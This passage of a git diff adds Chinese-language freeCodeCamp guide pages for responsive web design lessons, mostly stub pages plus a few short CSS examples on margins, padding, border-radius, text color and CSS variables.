+## 使用CSS偏移移动相对定位的元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/move-a-relatively-positioned-element-with-css-offsets/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/push-elements-left-or-right-with-the-float-property/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/push-elements-left-or-right-with-the-float-property/index.md
new file mode 100644
index 0000000000..02472f3051
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/push-elements-left-or-right-with-the-float-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Push Elements Left or Right with the float Property
+localeTitle: 使用float属性向左或向右推送元素
+---
+## 使用float属性向左或向右推送元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/push-elements-left-or-right-with-the-float-property/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/set-the-font-size-for-multiple-heading-elements/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/set-the-font-size-for-multiple-heading-elements/index.md
new file mode 100644
index 0000000000..8fb3b40b9d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/set-the-font-size-for-multiple-heading-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the font-size for Multiple Heading Elements
+localeTitle: 设置多个标题元素的字体大小
+---
+## 设置多个标题元素的字体大小
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/set-the-font-size-for-multiple-heading-elements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/set-the-font-size-of-paragraph-text/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/set-the-font-size-of-paragraph-text/index.md
new file mode 100644
index 0000000000..72c60320aa
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/set-the-font-size-of-paragraph-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the font-size of Paragraph Text
+localeTitle: 设置段落文本的字体大小
+---
+## 设置段落文本的字体大小
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/set-the-font-size-of-paragraph-text/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/set-the-font-weight-for-multiple-heading-elements/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/set-the-font-weight-for-multiple-heading-elements/index.md
new file mode 100644
index 0000000000..4be33a2fb4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/set-the-font-weight-for-multiple-heading-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the font-weight for Multiple Heading Elements
+localeTitle: 设置多个标题元素的字体粗细
+---
+## 设置多个标题元素的字体粗细
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/set-the-font-weight-for-multiple-heading-elements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/set-the-line-height-of-paragraphs/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/set-the-line-height-of-paragraphs/index.md
new file mode 100644
index 0000000000..09d16befef
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/set-the-line-height-of-paragraphs/index.md
@@ -0,0 +1,9 @@
+---
+title: Set the line-height of Paragraphs
+localeTitle: 设置段落的行高
+---
+## 设置段落的行高
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/set-the-line-height-of-paragraphs/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-a-bezier-curve-to-move-a-graphic/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-a-bezier-curve-to-move-a-graphic/index.md
new file mode 100644
index 0000000000..7e37de0b78
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-a-bezier-curve-to-move-a-graphic/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a Bezier Curve to Move a Graphic
+localeTitle: 使用贝塞尔曲线移动图形
+---
+## 使用贝塞尔曲线移动图形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-a-bezier-curve-to-move-a-graphic/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-a-css-linear-gradient-to-create-a-striped-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-a-css-linear-gradient-to-create-a-striped-element/index.md
new file mode 100644
index 0000000000..39e8f4e930
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-a-css-linear-gradient-to-create-a-striped-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use a CSS Linear Gradient to Create a Striped Element
+localeTitle: 使用CSS线性渐变来创建条带元素
+---
+## 使用CSS线性渐变来创建条带元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-a-css-linear-gradient-to-create-a-striped-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-css-animation-to-change-the-hover-state-of-a-button/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-css-animation-to-change-the-hover-state-of-a-button/index.md
new file mode 100644
index 0000000000..c08ea7a1ef
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-css-animation-to-change-the-hover-state-of-a-button/index.md
@@ -0,0 +1,9 @@
+---
+title: Use CSS Animation to Change the Hover State of a Button
+localeTitle: 使用CSS动画更改按钮的悬停状态
+---
+## 使用CSS动画更改按钮的悬停状态
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-css-animation-to-change-the-hover-state-of-a-button/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewx-to-skew-an-element-along-the-x-axis/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewx-to-skew-an-element-along-the-x-axis/index.md
new file mode 100644
index 0000000000..75e0306523
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewx-to-skew-an-element-along-the-x-axis/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the CSS Transform Property skewX to Skew an Element Along the X-Axis
+localeTitle: 使用CSS变换属性skewX沿X轴倾斜元素
+---
+## 使用CSS变换属性skewX沿X轴倾斜元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewx-to-skew-an-element-along-the-x-axis/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewy-to-skew-an-element-along-the-y-axis/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewy-to-skew-an-element-along-the-y-axis/index.md
new file mode 100644
index 0000000000..6cbd9509d7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewy-to-skew-an-element-along-the-y-axis/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the CSS Transform Property skewY to Skew an Element Along the Y-Axis
+localeTitle: 使用CSS变换属性skewY沿Y轴倾斜元素
+---
+## 使用CSS变换属性skewY沿Y轴倾斜元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-property-skewy-to-skew-an-element-along-the-y-axis/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-change-the-size-of-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-change-the-size-of-an-element/index.md
new file mode 100644
index 0000000000..7046e2b8bd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-change-the-size-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the CSS Transform scale Property to Change the Size of an Element
+localeTitle: 使用CSS Transform scale属性更改元素的大小
+---
+## 使用CSS Transform scale属性更改元素的大小
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-change-the-size-of-an-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-scale-an-element-on-hover/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-scale-an-element-on-hover/index.md
new file mode 100644
index 0000000000..88247b00cb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-scale-an-element-on-hover/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the CSS Transform scale Property to Scale an Element on Hover
+localeTitle: 使用CSS Transform scale属性在悬停上缩放元素
+---
+## 使用CSS Transform scale属性在悬停上缩放元素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-css-transform-scale-property-to-scale-an-element-on-hover/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-del-tag-to-strikethrough-text/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-del-tag-to-strikethrough-text/index.md
new file mode 100644
index 0000000000..513443d833
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-del-tag-to-strikethrough-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the del Tag to Strikethrough Text
+localeTitle: 将del tag用于删除线文本
+---
+## 将del tag用于删除线文本
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-del-tag-to-strikethrough-text/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-em-tag-to-italicize-text/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-em-tag-to-italicize-text/index.md
new file mode 100644
index 0000000000..b89416d586
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-em-tag-to-italicize-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the em Tag to Italicize Text
+localeTitle: 使用em标记来显示文本
+---
+## 使用em标记来显示文本
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-em-tag-to-italicize-text/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-strong-tag-to-make-text-bold/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-strong-tag-to-make-text-bold/index.md
new file mode 100644
index 0000000000..4a3f04b2fb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-strong-tag-to-make-text-bold/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the strong Tag to Make Text Bold
+localeTitle: 使用强标记使文字粗体
+---
+## 使用强标记使文字粗体
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-strong-tag-to-make-text-bold/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-text-transform-property-to-make-text-uppercase/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-text-transform-property-to-make-text-uppercase/index.md
new file mode 100644
index 0000000000..f3c618426e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-text-transform-property-to-make-text-uppercase/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the text-transform Property to Make Text Uppercase
+localeTitle: 使用text-transform属性使文本为大写
+---
+## 使用text-transform属性使文本为大写
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-text-transform-property-to-make-text-uppercase/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-u-tag-to-underline-text/index.md b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-u-tag-to-underline-text/index.md
new file mode 100644
index 0000000000..8cf40be9a9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/applied-visual-design/use-the-u-tag-to-underline-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the u Tag to Underline Text
+localeTitle: 使用u标签为文本加下划线
+---
+## 使用u标签为文本加下划线
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/applied-visual-design/use-the-u-tag-to-underline-text/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-a-negative-margin-to-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-a-negative-margin-to-an-element/index.md
new file mode 100644
index 0000000000..a072988c4e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-a-negative-margin-to-an-element/index.md
@@ -0,0 +1,25 @@
+---
+title: Add a Negative Margin to an Element
+localeTitle: 向元素添加负边距
+---
+## 向元素添加负边距
+
+边距是元素边框与页面上其他元素之间的间距。
+
+•顶部，右侧，底部和左侧有间距。
+
+•数字以[css为单位](https://www.tutorialspoint.com/css/css_measurement_units.htm)
+
+例如，要将元素的边距调整为负值，您可以使用：
+
+```css
+.example { 
+ margin: -10px; 
+ } 
+```
+
+**要调整单个元素的填充，请**使用： 填充： `-10` px;
+
+[您可以在此处找到有关负边距的更多信息](https://www.smashingmagazine.com/2009/07/the-definitive-guide-to-using-negative-margins/)
+
+祝你好运！
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-borders-around-your-elements/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-borders-around-your-elements/index.md
new file mode 100644
index 0000000000..379e21a5bf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-borders-around-your-elements/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Borders Around Your Elements
+localeTitle: 添加元素周围的边框
+---
+## 添加元素周围的边框
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/add-borders-around-your-elements/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-different-margins-to-each-side-of-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-different-margins-to-each-side-of-an-element/index.md
new file mode 100644
index 0000000000..64a4f30c6e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-different-margins-to-each-side-of-an-element/index.md
@@ -0,0 +1,33 @@
+---
+title: Add Different Margins to Each Side of an Element
+localeTitle: 在元素的每一侧添加不同的边距
+---
+## 在元素的每一侧添加不同的边距
+
+要调整元素的边距，请使用：
+
+```css
+.example { 
+  margin: 10px; 
+ } 
+```
+
+要按单个面指定元素的边距大小，我们可以使用“margin-top”，“margin-right”，“margin-bottom”和“margin left”。我们可以以任何顺序组合使用这些中的任何一种。例如：
+
+```css
+.example { 
+  margin-top: 5px; 
+  margin-bottom: 0px; 
+ } 
+```
+
+要么：
+
+```css
+.example { 
+  margin-top: 20px; 
+  margin-left: 25px; 
+  margin-right: 5px; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-different-padding-to-each-side-of-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-different-padding-to-each-side-of-an-element/index.md
new file mode 100644
index 0000000000..1e53737c3d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-different-padding-to-each-side-of-an-element/index.md
@@ -0,0 +1,33 @@
+---
+title: Add Different Padding to Each Side of an Element
+localeTitle: 在元素的每一侧添加不同的填充
+---
+## 在元素的每一侧添加不同的填充
+
+要调整元素的填充，请使用：
+
+```css
+.example { 
+  padding: 10px; 
+ } 
+```
+
+要通过单个面指定元素的填充大小，我们可以使用“padding-top”，“padding-right”，“padding-bottom”和“padding-left”。我们可以以任何顺序组合使用这些中的任何一种。例如：
+
+```css
+.example { 
+  padding-top: 5px; 
+  padding-bottom: 0px; 
+ } 
+```
+
+要么：
+
+```css
+.example { 
+  padding-top: 20px; 
+  padding-left: 25px; 
+  padding-right: 5px; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-rounded-corners-with-border-radius/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-rounded-corners-with-border-radius/index.md
new file mode 100644
index 0000000000..5ba133729c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/add-rounded-corners-with-border-radius/index.md
@@ -0,0 +1,50 @@
+---
+title: Add Rounded Corners with border-radius
+localeTitle: 添加带有border-radius的圆角
+---
+## 添加带有border-radius的圆角
+
+有时你想要圆角而不是方角。在这种情况下，我们使用“border-radius”属性来确定我们想要角落的圆度。
+
+要调整角落的圆度，请使用：
+
+```css
+.example { 
+ border-radius: 5px; 
+ } 
+```
+
+数字越高，角落越圆。
+
+```css
+.example { 
+ border-radius: 20px; 
+ } 
+```
+
+使用border-radius属性，我们可以对元素的角进行圆角处理，无论这是否意味着对边框，背景图像或元素本身的填充颜色进行舍入。如果颜色发生变化，您只会注意到新的圆角！
+
+如果您只包含一个数字，则该半径将应用于所有四个角。如果使用两个值，则第一个应用于左上角和右下角，而第二个应用于右上角和左下角。
+
+```css
+.exampleTwoValues { 
+ border-radius: 5px 10px; 
+ } 
+```
+
+如果使用四个值，则值适用于左上角，右上角，右下角和左下角。
+
+```css
+.exampleFourValues { 
+ border-radius: 5px 7px 10px 15px; 
+ } 
+```
+
+如果使用三个值，则第一个适用于左上角，第二个适用于右上角和左下角，第三个适用于右下角。
+
+```css
+.exampleThreeValues { 
+ border-radius: 5px 10px 15px; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/adjust-the-margin-of-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/adjust-the-margin-of-an-element/index.md
new file mode 100644
index 0000000000..10280bf991
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/adjust-the-margin-of-an-element/index.md
@@ -0,0 +1,41 @@
+---
+title: Adjust the Margin of an Element
+localeTitle: 调整元素的边距
+---
+## 调整元素的边距
+
+调整`Element`的`Margin`意味着增加或减少元素边框与周围元素之间的间距。
+
+•以像素为单位（ `px` ）以正整数和负整数调整边距。
+
+•可以从所有方向（顶部，底部，左侧，右侧）创建边距。
+
+这是它如何编写的一个例子：
+
+```css
+margin: 20px; 
+```
+
+您可以通过更改数值轻松更改或调整`Element`的`Margin` ：
+
+**之前** ：
+
+保证金： `20` px;
+
+**之后** ：
+
+保证金： `50` px;
+
+您还可以创建一个具有您将重复使用的`margin`的自定义`class` 。
+
+```css
+  .style-margin { 
+    margin: 20px; 
+  } 
+```
+
+```html
+
+<h2 class="style-margin">Example</h2> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/adjust-the-padding-of-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/adjust-the-padding-of-an-element/index.md
new file mode 100644
index 0000000000..2990296798
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/adjust-the-padding-of-an-element/index.md
@@ -0,0 +1,42 @@
+---
+title: Adjust the Padding of an Element
+localeTitle: 调整元素的填充
+---
+## 调整元素的填充
+
+填充是元素的内容和边界之间的间距。
+
+•顶部，底部，左侧和右侧之间有间距。
+
+•的间距是由被写为像素单位增加或减少的数值`px` 。
+
+要调整元素的填充，请使用：
+
+```css
+padding: 10px; 
+```
+
+要将Padding创建为特定Element的类，请使用：
+
+```css
+.example-Padding { 
+  padding: 10px 
+ { 
+```
+
+要将此类应用于适当的字段，请使用：
+
+```html
+
+<div class="example-Padding"> 
+ <p> Example Text </p> 
+ </div> 
+```
+
+**要调整元素的填充** ，请使用：
+
+填充： `10`像素;
+
+现在将数值修改为所需的数量。
+
+填充： `50`像素;
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/attach-a-fallback-value-to-a-css-variable/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/attach-a-fallback-value-to-a-css-variable/index.md
new file mode 100644
index 0000000000..0f2b0052ad
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/attach-a-fallback-value-to-a-css-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Attach a Fallback value to a CSS Variable
+localeTitle: 将Fallback值附加到CSS变量
+---
+## 将Fallback值附加到CSS变量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/attach-a-fallback-value-to-a-css-variable/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/cascading-css-variables/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/cascading-css-variables/index.md
new file mode 100644
index 0000000000..bbf87b99b3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/cascading-css-variables/index.md
@@ -0,0 +1,37 @@
+---
+title: Cascading CSS Variables
+localeTitle: 级联CSS变量
+---
+## 级联CSS变量
+
+正式称为自定义属性的级联CSS变量是与传统变量类似的实体。因为变量允许存储和更新数据以便以后反映新值2 。
+
+CSS变量定义为包含特定值，并在整个文档中重用。它们使用自定义属性表示法（例如， `color: var(--main-color)` `--main-color: black` ）设置，并使用`var()`函数（例如， `color: var(--main-color)` ） 1进行访问 。在`:root`或`body`选择器中声明CSS变量以进行全局访问。
+
+在维护复杂的CSS文档时，不仅有利于使用CSS变量，还有智能。在进行未来更新而不是搜索潜在的数百行代码时，只需要更新必要的CSS变量1 。
+
+### 句法
+
+```css
+:root { 
+  --main-bkgnd-color:  #00B8CB; 
+ } 
+ 
+ body { 
+  background-color: var(--main-bkgnd-color); 
+  font-family: 'Raleway', Helvetica, sans-serif; 
+ } 
+```
+
+声明变量：
+
+```css
+--custom-name: value 
+```
+
+使用变量： `css var(--custom-name)`
+
+### 来源
+
+1.  [访问MDN的Cascading CSS Variables页面以获取更多信息。](https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_variables)
+2.  [佩尔纳，玛丽亚安东尼塔。 “CSS变量实用指南（自定义属性）” _sitepoint_ 。 2018年8月1日。访问时间：2018年10月5日](https://www.sitepoint.com/practical-guide-css-variables-custom-properties/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/change-a-variable-for-a-specific-area/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/change-a-variable-for-a-specific-area/index.md
new file mode 100644
index 0000000000..f69028182e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/change-a-variable-for-a-specific-area/index.md
@@ -0,0 +1,9 @@
+---
+title: Change a variable for a specific area
+localeTitle: 更改特定区域的变量
+---
+## 更改特定区域的变量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/change-a-variable-for-a-specific-area/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/change-the-color-of-text/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/change-the-color-of-text/index.md
new file mode 100644
index 0000000000..32a8d9ba4d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/change-the-color-of-text/index.md
@@ -0,0 +1,18 @@
+---
+title: Change the Color of Text
+localeTitle: 更改文本的颜色
+---
+## 更改文本的颜色
+
+您可以使用`color`属性更改CSS中文本的`color` 。
+
+### 例
+```
+color: red; 
+```
+
+## 解
+```
+<h2 style="color: red;">CatPhotoApp</h2> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/change-the-font-size-of-an-element/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/change-the-font-size-of-an-element/index.md
new file mode 100644
index 0000000000..e89c29ef7f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/change-the-font-size-of-an-element/index.md
@@ -0,0 +1,9 @@
+---
+title: Change the Font Size of an Element
+localeTitle: 更改元素的字体大小
+---
+## 更改元素的字体大小
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/change-the-font-size-of-an-element/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/responsive-web-design/basic-css/create-a-custom-css-variable/index.md b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/create-a-custom-css-variable/index.md
new file mode 100644
index 0000000000..c40a1e21c8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/responsive-web-design/basic-css/create-a-custom-css-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a custom CSS Variable
+localeTitle: 创建自定义CSS变量
+---
+## 创建自定义CSS变量
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/basic-css/create-a-custom-css-variable/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
